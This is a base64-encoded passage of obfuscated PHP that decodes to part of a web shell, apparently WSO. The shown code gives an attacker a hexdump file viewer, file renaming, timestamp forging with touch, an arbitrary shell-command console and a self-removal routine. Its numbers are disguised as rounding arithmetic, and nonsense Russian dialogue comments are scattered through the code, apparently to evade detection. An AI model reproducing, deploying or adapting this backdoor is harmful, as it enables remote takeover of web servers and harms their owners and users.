DQuNC7INGB0LXQsdC1INGB0LLQuNGC0LXRgCwg0LTQsCDRjdGC0L4g0LLQvtGA0L7QstGB0YLQstC+ISDQntGC0LTQsNC5INC10LPQviDRgdCy0LjRgtC10YAsINGB0LLQvtC70L7Rh9GMISAqLwogICAgICAgICdoZXhkdW1wJzoKICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgJG4gPSByb3VuZCgwKTsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywgJycsICcnKTsKICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7CiAgICAgICAgICAgIGZvciAoJGkgPSByb3VuZCgwKTsgJGkgPCAkbGVuOyArKyRpKSB7CiAgICAgICAgICAgICAgICAkaFtyb3VuZCgwICsgMC41ICsgMC41KV0gLj0gLyogPEF2b24+OiDQryDQv9C+0YLRgNCw0YLQuNC7IDQ4INC00L7Qu9C70LDRgNC+0LIsINGC0YssINGC0YPQv9C+0Lkg0Lgg0YPQsdC+0LPQuNC5INGE0L7QutGD0YHQvdC40LohINCT0LTQtSDQvtC9PyAqLwogICAgICAgICAgICAgICAgICAgIHNwcmludGYoJyUwMlgnLCBvcmQoJGNbJGldKSkgLiAnICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKG9yZCgkY1skaV0pKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQn9C40YLQtdGALCDQs9C70Y/QvdGMINGH0L4g0L3QsCDRgtC10LHQtSEgKi8KICAgICAgICAgICAgICAgICAgICByb3VuZCgwKToKICAgICAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDAuNjY2NjY2NjY2NjY2NjcgKyAwLjY2NjY2NjY2NjY2NjY3ICsgMC42NjY2NjY2NjY2NjY2NyldIC49IC8qIDxBdm9uPjog0KfRgtC+INC30LAg0YXQtdGA0L3Rjz8/PyDQmtCw0Lo/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0JIg0KDQntCiINCc0J3QlSDQndCe0JPQmCEhISAqLwogICAgICAgICAgICAgICAgICAgIHJvdW5kKDAgKyA0LjUgKyA0LjUpOgogICAgICAgICAgICAgICAgICAgICAgICAkaFtyb3VuZCgwICsgMildIC49IC8qIDxBdm9uPjog0K8g0LTQtdGA0LbQsNC7INCyINGA0YPQutCw0YUg0LLQtdGJ0LghICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEgKi8KICAgICAgICAgICAgICAgICAgICByb3VuZCgwICsgNSArIDUpOgogICAgICAgICAgICAgICAgICAgICAgICAkaFtyb3VuZCgwICsgMC40ICsgMC40ICsgMC40ICsgMC40ICsgMC40KV0gLj0gLyogPEF2b24+OiDQkCwg0L7QvSDRg9C20LUg0YDQsNGB0YLRj9C90YPRgtGL0LksINGB0L/QsNGB0LjQsdC+INGC0LXQsdC1ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJyAnOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIC8qIDxQZXRlcj46INCh0LvRg9GI0LDQuSwg0L7RgdGC0LDQvdC+0LLQuNGB0YwsINCwPyAqLwogICAgICAgICAgICAgICAgICAgIHJvdW5kKDAgKyAyLjYgKyAyLjYgKyAyLjYgKyAyLjYgKyAyLjYpOgogICAgICAgICAgICAgICAgICAgICAgICAkaFtyb3VuZCgwICsgMildIC49IC8qIDxBdm9uPjog0KDQsNGB0YLRj9C90YPQuyDRgdCy0LjRgtC10YAsINGPINC10LPQviDQtNCw0LbQtSDQvdC1INC/0L7QvdC+0YHQuNC7INC10YnRkSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDEgKyAxKV0gLj0gLyogPERhdmlkIEJsYWluZT46INCt0LkuINCt0LksINGH0ZEg0YLRiyDQv9GM0ZHRiNGMPyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNbJGldOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRuKys7CiAgICAgICAgICAgICAgICBpZiAoJG4gLyogPFBldGVyPjog0J7RgNCw0L3QtiDRgdC+0LTRgyDRjyDQv9GM0Y4hINCn0YLQviwg0LIg0LzQtdC00LLQtdC00Y8g0L/RgNC10LLRgNCw0YLQuNGI0Yw/INCvINGB0YLQsNC60LDQvS3RgtC+INC00LXRgNC20YMhICovCiAgICAgICAgICAgICAgICAgICAgPT0gLyogPERhdmlkIEJsYWluZT46INCe0YDQsNC90LYg0YHQvtC00YM/INCc0L7QttC10YIg0YfRkS3QvdC40YLRjCDQtNGA0YPQs9C+0LUg0L7RgNCw0L3QttC10LLQvtC1PyAqLwogICAgICAgICAgICAgICAgICAgIHJvdW5kKDAgKyA4ICsgOCArIDggKyA4KQogICAgICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSByb3VuZCgwKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGkgKyByb3VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSkgPCAkbGVuKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRoW3JvdW5kKDApXSAuPSAvKiA8UGV0ZXI+OiDQp9C+INC10YnRkSDQvtGA0LDQvdC20LXQstC+0LU/INCd0YMg0Y3RgtC+LCDQv9C10YfQtdC90YzQutC4PyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3ByaW50ZignJTA4WCcsICRpICsgcm91bmQoMCArIDAuMjUgKyAwLjI1ICsgMC4yNSArIDAuMjUpKSAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMildIC49IC8qIDxQZXRlcj46INCf0JXQp9CV0J3QrNCa0JghISEg0KHRgtGA0LXQu9GP0YLRjC3QutC+0LvQvtGC0LjRgtGMISAqLwogICAgICAgICAgICAgICAgICAgICAgICAnPGJyPic7CiAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDIpXSAuPSAvKiA8UGV0ZXI+OiDQn9CV0KfQldCd0KzQmtCYISEhINCf0LXRh9C10L3RjNC60LghINCf0LXRh9C10L3RjNC60LghINCf0LXRh9C10L3RjNC60LghICovCiAgICAgICAgICAgICAgICAgICAgICAgICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQk9C00LUg0L7RgNCw0L3QtiDRgdC+0LTQsD8g0KLRiyDRh9C+INC00LXQu9Cw0LXRiNGMINCy0L7QvtCx0YnQtSwg0YLRiyDRh9C+INC00LXQu9Cw0LXRiNGMPyAqLwogICAgICAgICAgICAgICAgJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nIC4gJGhbcm91bmQoMCldIC4gJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nIC4gJGhbcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMildIC4gJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicgLiBodG1sc3BlY2lhbGNoYXJzKCRoW3JvdW5kKDAgKyAxICsgMSldKSAuICc8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIC8qIDxBdm9uPjog0KMg0LzQtdC90Y8g0LLQviDRgNGC0YMg0L7RgNCw0L3QtiDRgdC+0LTQsCEgKi8KICAgICAgICAncmVuYW1lJzoKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3AzJ10pKSB7CiAgICAgICAgICAgICAgICBpZiAoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKSBlY2hvIC8qIDxQZXRlcj46INCvINC90LAg0LjQt9C80LXQvdC1LCDRjyDQvdCwINC40LfQvNC10L3QtSEgKi8KICAgICAgICAgICAgICAgICdDYW5cJ3QgcmVuYW1lITxicj4nOyBlbHNlIC8qIDxBdm9uPjog0JrQsNC60LDRjyDRhdC10YDQvdGPLCDRgtGLINC/0L7Qu9C+0LbQuNC7INC10ZEg0LzQvdC1INCyINGA0L7RgiEgKi8KICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AzJ10pIC4gJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINGC0Ysg0L/RgNC10LrRgNCw0YLQuNGI0Ywg0Y3RgtC+INC40LvQuCDQvdC10YIsINC00LXQvNC+0L0sINC+0YHRgtCw0L3QvtCy0LjRgdGMLCDQsiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgICAgJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkgLiAnIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAvKiA8RGF2aWQgQmxhaW5lPjog0J3RgyDQu9Cw0LTQvdC+LdC70LDQtNC90L4sINGA0LXQsdGP0YLQsCwg0LfQvdCw0LXRgtC1LCDRjyDRhdC+0YfRgyDQv9C+0LrQsNC30LDRgtGMINCy0LDQvCDQutC+0LUt0YfRgtC+INC00LXQudGB0YLQstC40YLQtdC70YzQvdC+INC60YDRg9GC0L7QtS4uLiAqLwogICAgICAgICd0b3VjaCc6CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgIGlmICgkdGltZSkgewogICAgICAgICAgICAgICAgICAgIGlmICghdG91Y2goJF9QT1NUWydwMSddLCAkdGltZSwgJHRpbWUpKSBlY2hvIC8qIDxQZXRlcj46INCd0JXQoiEgKi8KICAgICAgICAgICAgICAgICAgICAnRmFpbCEnOyBlbHNlIC8qIDxBdm9uPjog0J3QtSwg0YfRg9Cy0LDQuiwg0LvRg9GH0YjQtSDRgdC10LHQtSDQv9C+0LrQsNC30YvQstCw0LkhICovCiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0LzQuNC90YPRgtC+0YfQutGDLCDRgdC10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KICAgICAgICAgICAgICAgICAgICAnVG91Y2hlZCEnOwogICAgICAgICAgICAgICAgfSBlbHNlIC8qIDxBdm9uPjog0J7RgdGC0LDQstGMINC90LDRgSDQsiDQv9C+0LrQvtC1ISAqLwogICAgICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQkNCw0LAsINCy0LjQtNC10Lsg0Y8g0Y3RgtC+0YIg0YTQvtC60YPRgSwg0L3QvtC20LrQsNC80Lgg0L/QtdGA0LXQsdC40YDQsNGC0Ywg0LHRg9C00LXRiNGMLCDRgtC40L/QsCDQstC30LvQtdGC0LXRgtGMINGF0L7Rh9C10YjRjC4gKi8KICAgICAgICAgICAgICAgICdCYWQgdGltZSBmb3JtYXQhJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgICBlY2hvIC8qIDxBdm9uPjog0JzQvtC5INC/0LvQtdC80Y/QvdC90LjQuiDQvNC+0LbQtdGCINGC0LDQuiDRgdC00LXQu9Cw0YLRjCwg0YLQvtC20LUg0LzQvdC1INGE0L7QutGD0YEhICovCiAgICAgICAgICAgICAgICAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInIC4gZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpIC4gJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0J/RgNC+0YHRgtC+INC/0L7QtNC+0LbQtNC40YLQtSDRgdC10LrRg9C90LTQvtGH0LrRgywg0LA/ICovCiAgICAnPC9kaXY+JzsKICAgIHdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQmtGA0LjRgSDQrdC50L3QtNC20LXQuyDQtNC10LvQsNC10YIg0Y3RgtC+INC70YPRh9GI0LUsINGB0YPQutCwLCDQv9C+0L3Rj9C7LCDQmtGA0LjRgSDQrdC50L3QtNC20LXQuyDQtNC10LvQsNC10YIg0Y3RgtC+INC70YPRh9GI0LUhICovCmFjdGlvbkNvbnNvbGUoKQp7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsKICAgICAgICBfX1dTT19fc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gLyogPEF2b24+OiDQrdC50LLQuNC9ISDQryDQu9C10YfRgyEgKi8KICAgICAgICAgICAgJyAyPiYxJzsKICAgIH0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgX19XU09fX3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdzdGRlcnJfdG9fb3V0Jywgcm91bmQoMCkpOwogICAgaWYgKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgIF9fV1NPX19zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQgdC80LDQvdCw0YDQvtGCISEgKi8KICAgICAgICAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOwogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIgLiAkX1BPU1RbJ3AxJ10gLiAiXG4iIC4gd3NvRXgoJF9QT1NUWydwMSddKSwgIlxuXHJcdFxcJ1wwIikpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkgewogICAgICAgICAgICBpZiAoQGNoZGlyKCRtYXRjaFtyb3VuZCgwICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzKV0pKSB7CiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CiAgICAgICAgICAgICAgICBlY2hvIC8qIDxBdm9uPjog0K8g0YfRg9Cy0YHRgtCy0YPRjiDRgtC10L/Qu9C+INC4INC70LXRh9GDISAqLwogICAgICAgICAgICAgICAgICAgICJjXz0nIiAuICRHTE9CQUxTWydjd2QnXSAuICInOyI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQgdCc0JDQndCQ0KDQntCiISEhICovCiAgICAgICAgICAgICJkLmNmLm91dHB1dC52YWx1ZSs9JyIgLiAkdGVtcCAuICInOyI7CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQntC/0YPRgdGC0Lgg0LXQs9C+LCDQv9C+0LbQsNC70YPQudGB0YLQsCwg0LA/INCB0LzQsNC90LDRgNC+0YIsINC/0L7QtCDQvdC40Lwg0L3QuNGH0L4g0L3QtdGC0YMsINGB0L7QstGB0LXQvCDQvdC40YfQviDQvdC10YLRgyEgKi8KICAgICAgICAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICBlY2hvIC8qIDxBdm9uPjog0J7QvSDQt9Cw0LrQuNC90YPQuyDQvNC10L3RjyDQvdCwINC60YDRi9GI0YMhINCe0L0g0L3QsCDQutGA0YvRiNGDINC80LXQvdGPINC30LDRh9C10Lwt0YLQviDQt9Cw0LrQuNC90YPQuyEg0JfQsNGH0LXQvCDRgtGLINC80LXQvdGPINGB0Y7QtNCwINC30LDQutC40L3Rg9C7PyDQlNGN0LLQuNC0INCR0LvQtdC50L0sINC00LDQuSDQvNC90LUg0YHQu9C10LfRgtGMISDQlNGN0LLQuNC0INCR0LvQtdC50L0sINGB0L/Rg9GB0YLQuCDQvNC10L3RjyEgKi8KICAgICAgICBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgaWYgKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkgX19XU09fX3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4Jywgcm91bmQoMCkpOwogICAgd3NvSGVhZGVyKCk7CiAgICBlY2hvIC8qIDxQZXRlcj46INCl0LLQsNGC0LjRgiDQvNC90LUg0LPQsNC30LjRgNC+0LLQutGDINCyINGA0L7RgiDQv9C40YXQsNGC0YwhICovCiAgICAiPHNjcmlwdD4KICAgIGlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CiAgICB2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CiAgICB2YXIgY3VyID0gMDsKICAgIGZ1bmN0aW9uIGtwKGUpIHsKICAgICAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKICAgICAgICBpZihuID09IDM4KSB7CiAgICAgICAgICAgIGN1ci0tOwogICAgICAgICAgICBpZihjdXI+PTApCiAgICAgICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGN1cisrOwogICAgICAgIH0gZWxzZSBpZihuID09IDQwKSB7CiAgICAgICAgICAgIGN1cisrOwogICAgICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkKICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgY3VyLS07CiAgICAgICAgfQogICAgfQogICAgZnVuY3Rpb24gYWRkKGNtZCkgewogICAgICAgIGNtZHMucG9wKCk7CiAgICAgICAgY21kcy5wdXNoKGNtZCk7CiAgICAgICAgY21kcy5wdXNoKCcnKTsKICAgICAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOwogICAgfQo8L3NjcmlwdD4iOwogICAgZWNobyAvKiA8QXZvbj46INCe0L0g0LTQsNC20LUg0L3QtSDQvtGC0LvQtdCy0LjRgtC40YDQvtCy0LDQuyDQvNC10L3RjyDQvtCx0YDQsNGC0L3QviEgKi8KICAgICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2QuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7CiAgICBmb3JlYWNoICgkR0xPQkFMU1snYWxpYXNlcyddIGFzIC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINCy0LDQu9C40Lwg0L7RgtGB0Y7QtNCwINCx0YvRgdGC0YDQtdC5ISAqLwogICAgICAgICAgICAgJG4gLyogPERhdmlkIEJsYWluZT46INCt0LksINGN0LksINGA0LXQsdGP0YLQsCwg0LXRidGRINC+0LTQuNC9INGC0YDRjtC6LCDQtdGJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgS4uLiAqLwogICAgPT4gLyogPFBldGVyPjog0JjQtNC4INCyINC/0LXQvdGMLCDQsCDRgtC+INGJ0LDRgSDQvNC10L3RgtC+0LIg0L/QvtC30L7QstGDISAqLwogICAgICAgICAgICAgJHYpIHsKICAgICAgICBpZiAoJHYgLyogPERhdmlkIEJsYWluZT46INCt0LksINC/0L7QtNC+0LbQtNC40YLQtSwg0L/QsNGA0L3QuCwg0L/QvtGB0LvQtdC00L3QuNC5LCDQvtCx0LXRidCw0Y4uINCt0LksINGA0LXQsdGP0YLQsCEgKi8KICAgICAgICAgICAgPT0gLyogPERhdmlkIEJsYWluZT46INCV0YHQu9C4INCy0Ysg0LTQsNC00LjRgtC1INC80L3QtSDQv9C+0LrQsNC30LDRgtGMINC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9GBLCDRjyDQtNCw0Lwg0LLQsNC8INGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwogICAgICAgICAgICAnJwogICAgICAgICkgewogICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQn9C+0LfQstC+0LvRjNGC0LUg0L/QvtC60LDQt9Cw0YLRjCDQvNC90LUg0LLQsNC8INC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9GBLCDQuCDRjyDQtNCw0Lwg0LLQsNC8INGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwogICAgICAgICAgICAgICAgJzxvcHRncm91cCBsYWJlbD0iLScgLiBodG1sc3BlY2lhbGNoYXJzKCRuKSAuICctIj48L29wdGdyb3VwPic7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCU0LDRiNGMINC80L3QtSDRgdGC0L4g0LTQvtC70LvQsNGA0L7Qsj8gKi8KICAgICAgICAgICAgJzxvcHRpb24gdmFsdWU9IicgLiBodG1sc3BlY2lhbGNoYXJzKCR2KSAuICciPicgLiAkbiAuICc8L29wdGlvbj4nOwogICAgfQogICAgZWNobyAvKiA8QXZvbj46INCi0Ysg0YHQvNC+0LbQtdGI0Ywg0LrRg9C/0LjRgtGMINGC0L7RgiDRiNCw0YDRhNC40LohICovCiAgICAgICAgJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnIC4gKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPyAnY2hlY2tlZCcgOiAnJykgLiAnPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcgLiAoIWVtcHR5KCRfUE9TVFsncDInXSkgfHwgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnc3RkZXJyX3RvX291dCddID8gJ2NoZWNrZWQnIDogJycpIC4gJz4gcmVkaXJlY3Qgc3RkZXJyIHRvIHN0ZG91dCAoMj4mMSk8L25vYnI+PGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowO21hcmdpbjowOyIgcmVhZG9ubHk+JzsKICAgIGlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGVjaG8gLyogPFBldGVyPjog0KLQvtGH0L3QviEg0JfQsNGI0LjQsdC40YHRjCwg0LPQvtC90Lgg0YHRgtC+INCx0LDQutGB0L7Qsi4gKi8KICAgICAgICBodG1sc3BlY2lhbGNoYXJzKCIkICIgLiAkX1BPU1RbJ3AxJ10gLiAiXG4iIC4gd3NvRXgoJF9QT1NUWydwMSddKSk7CiAgICB9CiAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQnNC+0LPRgyDRjyDQt9Cw0LnRgtC4PyAqLwogICAgJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsKICAgIGVjaG8gLyogPFBldGVyPjog0J3RgyDQu9Cw0LTQvdC+LCDQv9C+0YjQu9C4Li4uICovCiAgICAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwogICAgd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIC8qIDxQZXRlcj46INCi0Ysg0YLQvtGH0L3QviDQtNC10L3RjNCz0Lgg0LTQsNGI0Yw/ICovCmFjdGlvbkxvZ291dCgpCnsKICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWUoKSAtIHJvdW5kKDAgKyA5MDAgKyA5MDAgKyA5MDAgKyA5MDApKTsKICAgIGRpZSgnYnllIScpOwp9CgpmdW5jdGlvbiAvKiA8QXZvbj46INCU0L7QsdGA0L4g0L/QvtC20LDQu9C+0LLQsNGC0Ywg0LIg0LTQvtC8LiAqLwphY3Rpb25TZWxmUmVtb3ZlKCkKewogICAgaWYgKCRfUE9TVFsncDEnXSA9PSAvKiA8UGV0ZXI+OiDQmCDQstC+0YIg0LzRiyDQsiDQvNC+0LXQuSDQutCy0LDRgNGC0LjRgNC1LCDQuCDRh9C+PyAqLwogICAgICAgICd5ZXMnCiAgICApIGlmIChAdW5saW5rKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKSBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsgZWxzZSAvKiA8RGF2aWQgQmxhaW5lPjog0JLQvtGCINGN0YLQviDRh9GC0L4g0YLQsNC60L7QtT8gKi8KICAgIGVjaG8gLyogPFBldGVyPj